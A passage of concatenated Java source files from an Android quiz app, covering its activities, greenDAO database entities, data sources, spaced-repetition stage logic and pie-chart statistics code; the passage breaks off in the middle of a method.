import in.uscool.androidquiz.AndroidQuizApplication;
import in.uscool.androidquiz.AndroidQuizComponent;
import in.uscool.androidquiz.R;
import in.uscool.androidquiz.activities.AndroidQuizActivity;
import in.uscool.androidquiz.activities.createuser.CreateUserActivity;
import in.uscool.androidquiz.database.ChallengeDataSource;
import in.uscool.androidquiz.logic.UserManager;
/**
* Created by funkv on 29.02.2016.
*
* The activity redirects to user creation on first launch. On later launches it loads last selected
* user and redirects to the main activity.
*/
public class ProxyActivity extends AndroidQuizActivity {
@Inject
UserManager mUserManager;
@Inject
ChallengeDataSource mChallengeDataSource;
/**
* {@inheritDoc}
*/
@Override
protected void injectComponent(AndroidQuizComponent component) {
component.inject(this);
}
/**
* This method is called when the activity is created
*
* @param savedInstanceState handed over to super constructor
*/
@Override
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_proxy);
AndroidQuizApplication application = (AndroidQuizApplication)getApplication();
if (mUserManager.logInLastUser()) {
Intent intent = new Intent(getApplicationContext(), MainActivity.class);
intent.putExtra(MainActivity.EXTRA_SHOW_LOGGEDIN_SNACKBAR, true);
startActivity(intent);
finish();
} else {
// Import challenges if the database does not include any
if (mChallengeDataSource.getAll().size() == 0) {
InputStream is = getResources().openRawResource(R.raw.challenges);
try {
// FileImport.importBPC(is, application);
} catch (Exception e) {
throw new RuntimeException("An unexpected error has occured when trying to add " +
"example challenges!");
}
}
startActivity(new Intent(Intent.ACTION_INSERT, Uri.EMPTY, getApplicationContext(), CreateUserActivity.class));
finish();
}
}
}
<file_sep>package in.uscool.androidquiz.logic;
import java.util.Date;
import in.uscool.androidquiz.database.CompletionDataSource;
import in.uscool.androidquiz.model.Completion;
/**
* Created by <NAME>
* <p/>
* Provides functions for completion logic checking
*/
public class CompletionLogic {
public static int ANSWER_RIGHT = 1;
public static int ANSWER_WRONG = -1;
private CompletionDataSource mCompletionDataSource;
/**
* Constructor which saves the given parameters as member attributes.
*
* @param completionDataSource the completion data source to be saved as a member attribute
*/
public CompletionLogic(CompletionDataSource completionDataSource) {
mCompletionDataSource = completionDataSource;
}
/**
* Updates or inserts a completion object depending on the answer
* @param challengeId The Challenge ID
* @param userId The currently loggen in user
* @param stageUp 1 for StageUp -1 for StageDown (answer right, answer wrong)
*/
public void updateAfterAnswer(long challengeId, long userId, int stageUp) {
if (stageUp != ANSWER_WRONG && stageUp != ANSWER_RIGHT) {
return;
}
Completion completed = mCompletionDataSource.findByChallengeAndUser(challengeId, userId);
if (completed == null) {
completed = new Completion(null, 2, new Date(), userId, challengeId);
if (stageUp == ANSWER_WRONG) {
completed.setStage(1);
}
mCompletionDataSource.create(completed);
} else {
completed.setStage(completed.getStage() + stageUp);
if (completed.getStage() < 1) {
completed.setStage(1);
} else if (completed.getStage() > 6) {
completed.setStage(6);
}
completed.setLastCompleted(new Date());
mCompletionDataSource.update(completed);
}
}
}<file_sep>package in.uscool.androidquiz.database;
import java.util.List;
import javax.inject.Inject;
import in.uscool.androidquiz.model.Answer;
import in.uscool.androidquiz.model.DaoSession;
/**
* Created by <NAME> on 25/02/2016.
* <p/>
* Data Source class for custom access to answer table entries in the database
*/
public class AnswerDataSource {
//Attributes
private DaoSession mDaoSession;
/**
* Constructor which saves all given parameters to local member attributes.
*
* @param session the session to be saved as a member attribute
*/
@Inject
AnswerDataSource(DaoSession session) {
mDaoSession = session;
}
/**
* Return all Answer objects in the answer table
*
* @return List object containing all Answer objects
*/
public List<Answer> getAll() {
return mDaoSession.getAnswerDao().loadAll();
}
/**
* Returns the Answer object with the given id
*
* @param id answer id in the database
* @return Answer object with the given id
*/
public Answer getById(long id) {
return mDaoSession.getAnswerDao().load(id);
}
/**
* Adds an Answer object to the database
*
* @param answer answer to be created in the answer table
* @return id of the created object
*/
public long create(Answer answer) {
return mDaoSession.getAnswerDao().insert(answer);
}
}<file_sep>package in.uscool.androidquiz.activities.selectcategory;
import android.support.v4.content.ContextCompat;
import android.support.v7.widget.RecyclerView;
import android.view.View;
import android.widget.Button;
import android.widget.ImageView;
import android.widget.TextView;
import in.uscool.androidquiz.R;
import in.uscool.androidquiz.model.Category;
import in.uscool.androidquiz.utility.ImageProxy;
/**
* Created by funkv on 08.03.2016.
*
* The view holder is responsible for the view interaction with each Category within a
* RecyclerView.
*/
public class CategoryViewHolder extends RecyclerView.ViewHolder {
private TextView mTitle;
private TextView mDescription;
private ImageView mImage;
private TextView mDueCountText;
private Button mLearnButton;
private Button mStatisticsButton;
private CategoryAdapter.SelectionListener mSelectionListener;
/**
* This constructor saves the given parameters as member attributes and retrieves all necessary
* views from the given itemView.
*
* @param itemView the item view of the view holder
* @param selectionListener the selection listener for the view holder
*/
public CategoryViewHolder(View itemView, CategoryAdapter.SelectionListener selectionListener) {
super(itemView);
mSelectionListener = selectionListener;
mTitle = (TextView) itemView.findViewById(R.id.categoryTitle);
mDescription = (TextView) itemView.findViewById(R.id.categoryDescription);
mImage = (ImageView) itemView.findViewById(R.id.categoryImage);
mDueCountText = (TextView) itemView.findViewById(R.id.challenges_due);
mLearnButton = (Button) itemView.findViewById(R.id.learnButton);
mStatisticsButton = (Button) itemView.findViewById(R.id.statisticsButton);
}
/**
* Bind a specific category to this view holder, updating the associated view.
*
* @param category category to bind
*/
public void bindCard(final Category category, int dueChallenges) {
mTitle.setText(category.getTitle());
mDescription.setText(category.getDescription());
if (ImageProxy.isDrawableImage(category.getImage())) {
mImage.setImageResource(ImageProxy.getResourceId(category.getImage(), itemView.getContext()));
} else {
ImageProxy.loadImage(category.getImage(), itemView.getContext()).into(mImage);
}
View.OnClickListener categorySelected = new View.OnClickListener() {
@Override
public void onClick(View v) {
mSelectionListener.onCategorySelected(category);
}
};
itemView.setOnClickListener(categorySelected);
mLearnButton.setOnClickListener(categorySelected);
mStatisticsButton.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
mSelectionListener.onCategoryStatisticsSelected(category);
}
});
updateDueCounter(dueChallenges);
}
/**
* Bind the "All Categories" element
*/
public void bindAllCategoriesCard(int dueChallenges) {
mTitle.setText(itemView.getResources().getString(R.string.all_categories));
mDescription.setText(itemView.getResources().getString(R.string.all_categories_desc));
View.OnClickListener allCategoriesSelected = new View.OnClickListener() {
@Override
public void onClick(View v) {
mSelectionListener.onAllCategoriesSelected();
}
};
itemView.setOnClickListener(allCategoriesSelected);
mLearnButton.setOnClickListener(allCategoriesSelected);
mStatisticsButton.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
mSelectionListener.onAllCategoriesStatisticsSelected();
}
});
mImage.setImageResource(R.mipmap.all);
updateDueCounter(dueChallenges);
}
/**
* Updates the due counter's color depending on the count
*/
private void updateDueCounter(int amountDue) {
if (amountDue > 0) {
mDueCountText.setTextColor(ContextCompat.getColor(itemView.getContext(), android.R.color.primary_text_light));
mDueCountText.setText(itemView.getResources().getQuantityString(R.plurals.challenges_due, amountDue, amountDue));
} else {
mDueCountText.setTextColor(ContextCompat.getColor(itemView.getContext(), android.R.color.tertiary_text_dark));
mDueCountText.setText(R.string.no_challenges_due);
}
}
/**
* Returns the title view
*
* @return the title view of the view holder
*/
public TextView getTitle() {
return mTitle;
}
}
<file_sep>package in.uscool.androidquiz.model;
// THIS CODE IS GENERATED BY greenDAO, DO NOT EDIT. Enable "keep" sections if you want to edit.
/**
* Entity mapped to table "ANSWER".
*/
public class Answer {
private Long id;
/** Not-null value. */
private String text;
private Boolean answerCorrect;
private long challengeId;
public Answer() {
}
public Answer(Long id) {
this.id = id;
}
public Answer(Long id, String text, Boolean answerCorrect, long challengeId) {
this.id = id;
this.text = text;
this.answerCorrect = answerCorrect;
this.challengeId = challengeId;
}
public Long getId() {
return id;
}
public void setId(Long id) {
this.id = id;
}
/** Not-null value. */
public String getText() {
return text;
}
/** Not-null value; ensure this value is available before it is saved to the database. */
public void setText(String text) {
this.text = text;
}
public Boolean getAnswerCorrect() {
return answerCorrect;
}
public void setAnswerCorrect(Boolean answerCorrect) {
this.answerCorrect = answerCorrect;
}
public long getChallengeId() {
return challengeId;
}
public void setChallengeId(long challengeId) {
this.challengeId = challengeId;
}
}
<file_sep>package in.uscool.androidquiz;
import in.uscool.androidquiz.activities.createuser.CreateUserActivity;
import in.uscool.androidquiz.activities.main.MainActivity;
import in.uscool.androidquiz.activities.main.ProxyActivity;
import in.uscool.androidquiz.activities.playchallenge.AnswerFragment;
import in.uscool.androidquiz.activities.playchallenge.ChallengeActivity;
import in.uscool.androidquiz.activities.playchallenge.multiplechoice.ButtonViewState;
import in.uscool.androidquiz.activities.playchallenge.multiplechoice.MultipleChoiceFragment;
import in.uscool.androidquiz.activities.playchallenge.selfcheck.SelfTestFragment;
import in.uscool.androidquiz.activities.playchallenge.text.TextFragment;
import in.uscool.androidquiz.activities.selectuser.UserAdapter;
import in.uscool.androidquiz.activities.selectuser.UserSelectionActivity;
import in.uscool.androidquiz.activities.statistics.StatisticsActivity;
import in.uscool.androidquiz.logic.UserLogicFactory;
/**
* Created by ujjawal on 9/2/17.
*/
public interface AndroidQuizComponent {
void inject(MainActivity mainActivity);
void inject(ProxyActivity activity);
void inject(ChallengeActivity challengeActivity);
void inject(MultipleChoiceFragment questionFragment);
void inject(TextFragment textFragment);
void inject(SelfTestFragment selfTestFragment);
void inject(CreateUserActivity createUserActivity);
void inject(UserAdapter userAdapter);
void inject(UserSelectionActivity activity);
void inject(StatisticsActivity activity);
// void inject(SettingsActivity activity);
// void inject(AboutActivity activity);
// void inject(SelectCategoryPage selectCategoryPage);
void inject(AnswerFragment answerFragment);
void inject(ButtonViewState state);
void inject(UserLogicFactory f);
}
<file_sep>package in.uscool.androidquiz.activities.playchallenge.multiplechoice;
import android.graphics.Rect;
import android.os.Bundle;
import android.support.annotation.Nullable;
import android.support.v7.widget.GridLayoutManager;
import android.support.v7.widget.RecyclerView;
import android.util.TypedValue;
import android.view.LayoutInflater;
import android.view.View;
import android.view.ViewGroup;
import java.util.Arrays;
import java.util.Collections;
import in.uscool.androidquiz.AndroidQuizComponent;
import in.uscool.androidquiz.R;
import in.uscool.androidquiz.activities.playchallenge.AnswerFragment;
/**
* Created by <NAME>
* <p/>
* Fragment for a multiple-choice challenge
*/
public class MultipleChoiceFragment extends AnswerFragment {
private static final String KEY_BUTTONS_STATE = "KEY_BUTTONS_STATE";
private static final String KEY_ANSWERS_CHECKED = "KEY_ANSWERS_CHECKED";
private static Bundle mBundleRecyclerViewState;
private RecyclerView mRecyclerView;
private ButtonsAdapter mAdapter;
private GridLayoutManager mLayoutManager;
// State
private boolean mAnswersChecked = false;
private ButtonViewState[] mStateHolder;
/**
* Inject components
*
* @param component AndroidQuizComponent
*/
@Override
protected void injectComponent(AndroidQuizComponent component) {
component.inject(this);
}
/**
* Sets up the view
*
* @param inflater Inflates the fragment
* @param container Container to inflate the fragment
* @param savedInstanceState Reloads the old state of the fragment
* @return Return the inflated view
*/
@Nullable
@Override
public View onCreateView(LayoutInflater inflater, ViewGroup container, Bundle savedInstanceState) {
//inflate the view
View view = inflater.inflate(R.layout.fragment_challenge_multiple_choice, container, false);
final int SPANS = 2;
mRecyclerView = (RecyclerView) view.findViewById(R.id.buttonsRecyclerView);
mRecyclerView.setHasFixedSize(true);
mLayoutManager = new GridLayoutManager(getContext(), SPANS);
mRecyclerView.setLayoutManager(mLayoutManager);
if (savedInstanceState != null) {
mStateHolder = (ButtonViewState[]) savedInstanceState.getParcelableArray(KEY_BUTTONS_STATE);
mAnswersChecked = savedInstanceState.getBoolean(KEY_ANSWERS_CHECKED);
} else {
mStateHolder = new ButtonViewState[mAnswerList.size()];
Collections.shuffle(mAnswerList);
for (int i = 0; i < mAnswerList.size(); i++) {
mStateHolder[i] = new ButtonViewState(mAnswerList.get(i));
}
}
mAdapter = new ButtonsAdapter(Arrays.asList(mStateHolder));
mRecyclerView.setAdapter(mAdapter);
// Add decorators for margins
mRecyclerView.addItemDecoration(new RecyclerView.ItemDecoration() {
@Override
public void getItemOffsets(Rect outRect, View view, RecyclerView parent, RecyclerView.State state) {
// Apply vertical margin to all but bottom children
if (parent.getChildAdapterPosition(view) < parent.getAdapter().getItemCount() - SPANS) {
outRect.bottom = (int) TypedValue.applyDimension(TypedValue.COMPLEX_UNIT_DIP, 8.f, getResources().getDisplayMetrics());
}
}
});
mRecyclerView.addItemDecoration(new RecyclerView.ItemDecoration() {
@Override
public void getItemOffsets(Rect outRect, View view, RecyclerView parent, RecyclerView.State state) {
// Apply horizontal margin to all but rightmost children
if (parent.getChildAdapterPosition(view) % SPANS < SPANS - 1) {
outRect.right = (int) TypedValue.applyDimension(TypedValue.COMPLEX_UNIT_DIP, 8.f, getResources().getDisplayMetrics());
}
}
});
if (mAnswersChecked) {
mRecyclerView.post(new Runnable() {
@Override
public void run() {
mAdapter.performAnswerCheck();
}
});
}
return view;
}
/**
* Checks if the given answer is correct, displays it and passes the event on to the activity
*/
@Override
public AnswerFragment.ContinueMode goToNextState() {
mListener.onAnswerChecked(mAdapter.performAnswerCheck(), false);
mAnswersChecked = true;
return ContinueMode.CONTINUE_SHOW_FAB;
}
/**
* Saves the current state of the view
*
* @param outState Bundle that contains the Challenge-Id and the state of the fragment
*/
@Override
public void onSaveInstanceState(Bundle outState) {
super.onSaveInstanceState(outState);
outState.putParcelableArray(KEY_BUTTONS_STATE, mStateHolder);
outState.putBoolean(KEY_ANSWERS_CHECKED, mAnswersChecked);
}
}
<file_sep>package in.uscool.androidquiz.activities.playchallenge;
import android.os.Bundle;
import android.support.v7.widget.LinearLayoutManager;
import android.support.v7.widget.RecyclerView;
import java.util.List;
import javax.inject.Inject;
import in.uscool.androidquiz.BuildConfig;
import in.uscool.androidquiz.activities.AndroidQuizFragment;
import in.uscool.androidquiz.database.ChallengeDataSource;
import in.uscool.androidquiz.model.Answer;
import in.uscool.androidquiz.model.Challenge;
/**
* Created by <NAME>
* <p/>
* The abstract fragment contains all necessary methods for the different challenge-type fragments
*/
public abstract class AnswerFragment extends AndroidQuizFragment {
protected List<Answer> mAnswerList;
protected Challenge mChallenge;
// Interface to pass events to the activity
protected AnswerListener mListener;
@Inject
ChallengeDataSource mChallengeDataSource;
/**
* Called by the Activity when the floating action button has been pressed.
* Should be used to check answers or query information from the user.
* <p/>
* After this call the fragment is responsible for calling onAnswerChecked to continue to the
* next challenge.
*
* @return Whether or not to disable the challenge FloatingActionButton for custom view: if true, the floating action button is hidden for the state.
*/
public abstract ContinueMode goToNextState();
/**
* Saves the current Challenge-Id
*
* @param outState Bundle that contains the Challenge-Id
*/
@Override
public void onSaveInstanceState(Bundle outState) {
super.onSaveInstanceState(outState);
outState.putLong(ChallengeActivity.KEY_CHALLENGE_ID, mChallenge.getId());
}
/**
* Loads the Listener, the current challenge and its answers
*
* @param savedInstanceState Reloads the old state of the fragment
*/
@Override
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
loadAnswerListener();
// Load the current challenge from saved state or arguments
Bundle bundle = savedInstanceState != null ? savedInstanceState : getArguments();
long id = bundle.getLong(ChallengeActivity.KEY_CHALLENGE_ID);
mChallenge = mChallengeDataSource.getById(id);
if (BuildConfig.DEBUG && mChallenge == null) {
throw new RuntimeException("Invalid challenge passed to AnswerFragment");
}
loadAnswers();
}
/**
* Loads the answers of the challenge
*/
protected void loadAnswers() {
mAnswerList = mChallenge.getAnswers();
if (BuildConfig.DEBUG && mAnswerList == null) {
throw new RuntimeException("Invalid Answers for challenge " + mChallenge.getId() + "(" + mChallenge.getQuestion() + ")");
}
}
/**
* Loads the AnswerListener of the opening activity
*/
private void loadAnswerListener() {
// The activity that opens these fragments must implement AnswerListener.
// This method stores the listener when the activity is attached.
// Verify that the host activity implements the callback interface
try {
// Cast to SelfTestDialogListener so we can send events to the host
mListener = (AnswerListener) getActivity();
} catch (ClassCastException e) {
// The activity doesn't implement the interface, throw exception
throw new ClassCastException(getActivity().toString()
+ " must implement AnswerListener");
}
}
/**
* Utility function that loads all of the correct answers of the current challenge into a
* recycler view.
*
* @param listViewId id of the recycler view, which will contain the answers
*/
protected void populateRecyclerViewWithCorrectAnswers(int listViewId, String givenAnswer) {
//loading of the components
RecyclerView answerList = (RecyclerView) getView().findViewById(listViewId);
answerList.setHasFixedSize(true);
// use a linear layout manager
LinearLayoutManager layoutManager = new LinearLayoutManager(getActivity());
answerList.setLayoutManager(layoutManager);
//Create the View
//Adapter which sets all answers into the list
AnswerAdapter listAdapter = new AnswerAdapter(mAnswerList, givenAnswer);
answerList.setAdapter(listAdapter);
}
/**
* Possible modes for the Fragment to react to a request to goToNextState().
*/
public enum ContinueMode {
/**
* Abort the action because some kind of validation failed. State was not changed.
*/
CONTINUE_ABORT,
/**
* Successful state change, instruct activity to hide Floating Action Button.
* The Challenge will instruct the activity to load the next challenge through
* {@link de.fhdw.ergoholics.brainphaser.activities.playchallenge.AnswerFragment.AnswerListener#onAnswerChecked(boolean, boolean)}
*/
CONTINUE_HIDE_FAB,
/**
* Successful state change, instruct activity to show the floating action button and
* allow progression to next challenge by clicking it.
*/
CONTINUE_SHOW_FAB
}
/**
* Interface to pass answer checks on to the activity.
*/
public interface AnswerListener {
/**
* Called by the Fragment when the correctness of an answer has been determined.
*
* @param answerCorrect whether or not the user answered correctly
* @param skipConfirm when true the activity switches directly to the next challenge without
* waiting for the user to click on the FAB
*/
void onAnswerChecked(boolean answerCorrect, boolean skipConfirm);
}
}<file_sep>package in.uscool.androidquiz.database;
import in.uscool.androidquiz.R;
/**
* Created by <NAME>
*
* Defines common functions for stages
*/
public class ChallengeStage {
private static int[] stageColorResources = new int[] {
-1,
R.color.colorStage1,
R.color.colorStage2,
R.color.colorStage3,
R.color.colorStage4,
R.color.colorStage5,
R.color.colorStage6
};
/**
* Returns the resource id of the color for this stage
* @param stage challenge type to get the color for
* @return resource id corresponding to the stage's associated color
*/
public static int getColorResource(int stage) {
return stageColorResources[stage];
}
}
<file_sep>package in.uscool.androidquiz.activities.statistics;
import android.support.v7.widget.RecyclerView;
import android.view.View;
import android.widget.TextView;
import com.github.mikephil.charting.charts.PieChart;
import com.github.mikephil.charting.data.Entry;
import java.util.List;
import in.uscool.androidquiz.AndroidQuizApplication;
import in.uscool.androidquiz.R;
import in.uscool.androidquiz.database.ChallengeDataSource;
import in.uscool.androidquiz.logic.UserLogicFactory;
import in.uscool.androidquiz.logic.statistics.StatisticType;
import in.uscool.androidquiz.logic.statistics.StatisticsLogic;
import in.uscool.androidquiz.model.User;
/**
* Created by <NAME> on 09/03/2016
* <p/>
* The view holder is responsible for the view interaction with each statistic within a
* RecyclerView.
*/
public class StatisticViewHolder extends RecyclerView.ViewHolder {
//Constants
public static final int TYPE_SMALL = 0;
public static final int TYPE_LARGE = 1;
//Attributes
private View mItemView;
private ChallengeDataSource mChallengeDataSource;
private AndroidQuizApplication mApplication;
private StatisticsLogic mStatisticsLogic;
private List<Long> mShownChallenges;
/**
* This constructor saves the given parameters as member attributes and sets the value of the
* view number.
*
* @param itemView the item view to be saved as a member attribute
* @param userLogicFactory the user logic factory to be saved as a member attribute
* @param challengeDataSource the challenge data source to be saved as a member attribute
* @param application the AndroidQuizApplication to be saved as a member attribute
* @param user the user to be saved as a member attribute
* @param categoryId the category id to be saved as a member attribute
*/
public StatisticViewHolder(View itemView, UserLogicFactory userLogicFactory,
ChallengeDataSource challengeDataSource,
AndroidQuizApplication application, User user, long categoryId) {
super(itemView);
mItemView = itemView;
mChallengeDataSource = challengeDataSource;
mApplication = application;
mStatisticsLogic = userLogicFactory.createStatisticsLogic(user, categoryId);
}
/**
* Applies a due chart to the chart in the mItemView view
*/
public void applyDueChart() {
PieChart chart = (PieChart) mItemView.findViewById(R.id.statisticsChart);
mStatisticsLogic.fillChart(chart, StatisticType.TYPE_DUE);
}
/**
* Applies a stage chart to the chart in the mItemView view
*/
public void applyStageChart() {
PieChart chart = (PieChart) mItemView.findViewById(R.id.statisticsChart);
mStatisticsLogic.fillChart(chart, StatisticType.TYPE_STAGE);
}
/**
* Applies a most played / failed / succeeded chart to the chart in the mItemView view
*
* @param type the statistic type of the chart to be applied
*/
public void applyMostPlayedChart(StatisticType type) {
//Apply chart
PieChart chart = (PieChart) mItemView.findViewById(R.id.statisticsChart);
mShownChallenges = mStatisticsLogic.fillChart(chart, type);
//Add chart selection listener
chart.setOnChartValueSelectedListener(new ChartValueSelectedListener(this));
//Select first entry
if (chart.getData() != null) {
chart.highlightValue(0, 0);
TextView text = (TextView) mItemView.findViewById(R.id.challengeView);
String question = mChallengeDataSource.getById(mShownChallenges.get(0)).getQuestion();
if (text != null) text.setText(question);
}
TextView title = (TextView) mItemView.findViewById(R.id.titleView);
if (title != null) title.setText(getTitle(type));
}
/**
* Returns a title string depending on the given statistic type
*
* @param type the type of the statistic
* @return the title string for the statistic type
*/
private String getTitle(StatisticType type) {
switch (type) {
case TYPE_MOST_PLAYED:
return mApplication.getString(R.string.statistics_most_played);
case TYPE_MOST_FAILED:
return mApplication.getString(R.string.statistics_most_failed);
case TYPE_MOST_SUCCEEDED:
return mApplication.getString(R.string.statistics_most_succeeded);
}
return null;
}
/**
* This method is called when a value in a most played / failed / succeeded chart is selected.
* It shows the challenge text in the text view of the mItemView view.
*
* @param e the entry that has been selected
*/
public void onValueSelected(Entry e) {
long challengeId = mShownChallenges.get(e.getXIndex());
TextView text = (TextView) mItemView.findViewById(R.id.challengeView);
text.setText(mChallengeDataSource.getById(challengeId).getQuestion());
}
/**
* This method is called when the selected value in a most played / failed / succeeded chart is
* deselected. It applies a standard text to the mTextView view.
*/
public void onNothingSelected() {
TextView text = (TextView) mItemView.findViewById(R.id.challengeView);
text.setText(mApplication.getString(R.string.statistics_no_challenge_selected));
}
}<file_sep>package in.uscool.androidquiz.model;
import de.greenrobot.dao.DaoException;
// THIS CODE IS GENERATED BY greenDAO, DO NOT EDIT. Enable "keep" sections if you want to edit.
/**
* Entity mapped to table "STATISTICS".
*/
public class Statistics {
private Long id;
private Boolean succeeded;
private java.util.Date time;
private long userId;
private long challengeId;
/** Used to resolve relations */
private transient DaoSession daoSession;
/** Used for active entity operations. */
private transient StatisticsDao myDao;
private Challenge statistic;
private Long statistic__resolvedKey;
public Statistics() {
}
public Statistics(Long id) {
this.id = id;
}
public Statistics(Long id, Boolean succeeded, java.util.Date time, long userId, long challengeId) {
this.id = id;
this.succeeded = succeeded;
this.time = time;
this.userId = userId;
this.challengeId = challengeId;
}
/** called by internal mechanisms, do not call yourself. */
public void __setDaoSession(DaoSession daoSession) {
this.daoSession = daoSession;
myDao = daoSession != null ? daoSession.getStatisticsDao() : null;
}
public Long getId() {
return id;
}
public void setId(Long id) {
this.id = id;
}
public Boolean getSucceeded() {
return succeeded;
}
public void setSucceeded(Boolean succeeded) {
this.succeeded = succeeded;
}
public java.util.Date getTime() {
return time;
}
public void setTime(java.util.Date time) {
this.time = time;
}
public long getUserId() {
return userId;
}
public void setUserId(long userId) {
this.userId = userId;
}
public long getChallengeId() {
return challengeId;
}
public void setChallengeId(long challengeId) {
this.challengeId = challengeId;
}
/** To-one relationship, resolved on first access. */
public Challenge getStatistic() {
long __key = this.challengeId;
if (statistic__resolvedKey == null || !statistic__resolvedKey.equals(__key)) {
if (daoSession == null) {
throw new DaoException("Entity is detached from DAO context");
}
ChallengeDao targetDao = daoSession.getChallengeDao();
Challenge statisticNew = targetDao.load(__key);
synchronized (this) {
statistic = statisticNew;
statistic__resolvedKey = __key;
}
}
return statistic;
}
public void setStatistic(Challenge statistic) {
if (statistic == null) {
throw new DaoException("To-one property 'challengeId' has not-null constraint; cannot set to-one to null");
}
synchronized (this) {
this.statistic = statistic;
challengeId = statistic.getId();
statistic__resolvedKey = challengeId;
}
}
/** Convenient call for {@link AbstractDao#delete(Object)}. Entity must attached to an entity context. */
public void delete() {
if (myDao == null) {
throw new DaoException("Entity is detached from DAO context");
}
myDao.delete(this);
}
/** Convenient call for {@link AbstractDao#update(Object)}. Entity must attached to an entity context. */
public void update() {
if (myDao == null) {
throw new DaoException("Entity is detached from DAO context");
}
myDao.update(this);
}
/** Convenient call for {@link AbstractDao#refresh(Object)}. Entity must attached to an entity context. */
public void refresh() {
if (myDao == null) {
throw new DaoException("Entity is detached from DAO context");
}
myDao.refresh(this);
}
}
<file_sep>package in.uscool.androidquiz.database;
import java.util.List;
import javax.inject.Inject;
import javax.inject.Singleton;
import in.uscool.androidquiz.model.Category;
import in.uscool.androidquiz.model.DaoSession;
/**
* Created by funkv on 20.02.2016.
*/
@Singleton
public class CategoryDataSource {
//Constants
public static final long CATEGORY_ID_ALL = -1L;
//Attributes
private DaoSession mDaoSession;
/**
* Constructor defines the daosession
*
* @param session the DaoSession
*/
@Inject
public CategoryDataSource(DaoSession session) {
mDaoSession = session;
}
/**
* Gets all categories from the database
*
* @return List of all categories
*/
public List<Category> getAll() {
return mDaoSession.getCategoryDao().loadAll();
}
/**
* Creates a new category
*
* @param category category to create
* @return id of the created category
*/
public long create(Category category) {
return mDaoSession.getCategoryDao().insert(category);
}
/**
* Gets a category by its id
*
* @param id Id of the category
* @return Category
*/
public Category getById(long id) {
return mDaoSession.getCategoryDao().load(id);
}
}
<file_sep>package in.uscool.androidquiz.logic.statistics;
import com.github.mikephil.charting.data.Entry;
import com.github.mikephil.charting.data.PieData;
import com.github.mikephil.charting.data.PieDataSet;
import java.util.ArrayList;
import java.util.List;
import in.uscool.androidquiz.AndroidQuizApplication;
import in.uscool.androidquiz.R;
import in.uscool.androidquiz.database.ChallengeDataSource;
import in.uscool.androidquiz.database.CompletionDataSource;
import in.uscool.androidquiz.database.StatisticsDataSource;
import in.uscool.androidquiz.logic.DueChallengeLogic;
import in.uscool.androidquiz.logic.UserLogicFactory;
import in.uscool.androidquiz.model.Statistics;
import in.uscool.androidquiz.model.User;
/**
* Created by <NAME> on 12/03/2016.
* <p/>
* This class contains the logic for creating datasets to be visualized in statistics
*/
public class ChartDataLogic {
//Constants
private static final int NUMBER_PLAYED_LISTED = 3;
//Attributes
private User mUser;
private long mCategoryId;
private AndroidQuizApplication mApplication;
private UserLogicFactory mUserLogicFactory;
private ChallengeDataSource mChallengeDataSource;
private CompletionDataSource mCompletionDataSource;
private StatisticsDataSource mStatisticsDataSource;
private ChartSettings mSettings;
/**
* Constructor which saves the given parameters as member attributes and creates the chart
* settings member.
*
* @param user the user to be saved as a member attribute
* @param categoryId the category id to be saved as a member attribute
* @param application the AndroidQuizApplication to be saved as a member attribute
* @param challengeDataSource the challenge data source to be saved as a member attribute
* @param completionDataSource the completion data source to be saved as a member attribute
* @param statisticsDataSource the statistics data source to be saved as a member attribute
* @param userLogicFactory the user logic factory to be saved as a member attribute
*/
public ChartDataLogic(User user, long categoryId,
AndroidQuizApplication application,
ChallengeDataSource challengeDataSource,
CompletionDataSource completionDataSource,
StatisticsDataSource statisticsDataSource,
UserLogicFactory userLogicFactory) {
mUser = user;
mCategoryId = categoryId;
mApplication = application;
mChallengeDataSource = challengeDataSource;
mCompletionDataSource = completionDataSource;
mStatisticsDataSource = statisticsDataSource;
mUserLogicFactory = userLogicFactory;
mSettings = new ChartSettings(application);
}
/**
* Creates a PieData object containing entries with the numbers of due and not due challenges
*
* @return PieData object containing the numbers of the due and not due challenges
*/
public PieData findDueData() {
//Calculate numbers for the data to be visualized
DueChallengeLogic dueChallengeLogic = mUserLogicFactory.createDueChallengeLogic(mUser);
//Retrieve due numbers
int dueNumber = dueChallengeLogic.getDueChallenges(mCategoryId).size();
int notDueNumber = mChallengeDataSource.getByCategoryId(mCategoryId).size() - dueNumber;
if (dueNumber + notDueNumber > 0) {
//Create lists
ArrayList<Entry> entries = new ArrayList<>();
ArrayList<String> labels = new ArrayList<>();
//Add entries
labels.add(mApplication.getString(R.string.challenge_due_text));
entries.add(new Entry(dueNumber > 0 ? dueNumber : nullValue(notDueNumber), 0));
labels.add(mApplication.getString(R.string.challeng_not_due_text));
entries.add(new Entry(notDueNumber > 0 ? notDueNumber : nullValue(dueNumber), 1));
//Create dataset
PieDataSet dataset = new PieDataSet(entries, "");
mSettings.applyDataSetSettings(dataset, StatisticType.TYPE_DUE);
//Create data
PieData data = new PieData(labels, dataset);
mSettings.applyDataSettings(data);
//Return the PieData object
return data;
} else
return null;
}
/**
* Creates a PieData object containing entries with the numbers of challenges in each stage
*
* @return PieData object containing the numbers of the challenges in each stage
*/
public PieData findStageData() {
//Create lists
ArrayList<Entry> entries = new ArrayList<>();
ArrayList<String> labels = new ArrayList<>();
//Retrieve stage numbers
int numbers[] = {0, 0, 0, 0, 0, 0};
int totalNumber = 0;
for (int i = 0; i <= 5; i++) {
numbers[i] = mCompletionDataSource.findByUserAndStageAndCategory(mUser, i + 1,
mCategoryId).size();
totalNumber += numbers[i];
}
if (totalNumber > 0) {
//Add entries
for (int i = 0; i <= 5; i++) {
entries.add(new Entry(numbers[i] != 0 ? numbers[i] : nullValue(totalNumber), i));
labels.add("" + (i + 1));
}
//Create dataset
PieDataSet dataset = new PieDataSet(entries, "");
mSettings.applyDataSetSettings(dataset, StatisticType.TYPE_STAGE);
//Create data
PieData data = new PieData(labels, dataset);
mSettings.applyDataSettings(data);
//Return the PieData object
return data;
} else
return null;
}
/**
* Creates a PieData object containing entries of the most played / failed or succeded
* challenges. Which of these entries are added depends on the given mode. The ids of the
* challenges are also added to the shownChallenges list.
*
* @param type the type
* @param shownChallenges a List object the ids of the challenges are added to
* @return PieData object containing the numbers of the played / failed or succeeded challenges
*/
public PieData findMostPlayedData(StatisticType type, List<Long> shownChallenges) {
//Create lists
ArrayList<Entry> entries = new ArrayList<>();
ArrayList<String> labels = new ArrayList<>();
//Retrieve numbers
List<Statistics> statistics;
